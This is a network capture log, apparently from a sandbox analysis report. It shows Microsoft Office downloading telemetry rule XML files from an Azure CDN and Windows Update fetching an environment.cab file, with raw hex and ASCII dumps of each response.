2024-10-17 16:18:25 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:26 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: d34f4ef6-701e-0053-0cd8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161826Z-15b8d89586f8nxpt6pvtkfw3pg00000003mg00000000mwh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:26 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:25 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 52ecbb12-901e-0029-18d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161825Z-16b659b4499qzkzdaxyf40k2c000000008z000000000bwsg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:25 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 42686fe1-801e-002a-5986-1f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161826Z-r197bdfb6b4h2vctng0a0nubg800000000g0000000000hm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:26 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d34f521c-701e-0053-12d8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161826Z-16b659b4499stprh7pcpsc0x3n0000000b1000000000bwrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:26 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:26 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: d34f4f33-701e-0053-48d8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161826Z-16b659b44999c8xwz4dbqvgykc0000000atg00000000sry2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 20e60820-a01e-000d-5fd8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161827Z-16b659b4499xhcppz4ucy307n400000007t000000000k3pe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 747e85a5-701e-0032-758e-1fa540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161827Z-15b8d89586fx2hlt035xdehq5800000003z0000000003ump x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:27 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 279cc631-801e-00a3-30d8-1e7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161827Z-16b659b4499hn29ks1ddp5hvac0000000b9000000000k9zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:27 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6c57f1bb-d01e-0017-65d8-1eb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161827Z-15b8d89586f8nxpt6pvtkfw3pg00000003u0000000002pru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:27 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 9657db4b-301e-0099-40d8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161827Z-15b8d89586fsx9lfqmgrbzpgmg00000003zg000000002pct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49788	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Rog2UAh6byGHZBm&MD=DSVsValv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-17 16:18:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ca39d5cf-a4eb-4440-b173-2683a6fb699b MS-RequestId: f7589708-0c6b-446f-911a-b6bf442d4424 MS-CV: 4ItQSdhj70Odc2EX.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 17 Oct 2024 16:18:27 GMT Connection: close Content-Length: 24490
2024-10-17 16:18:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
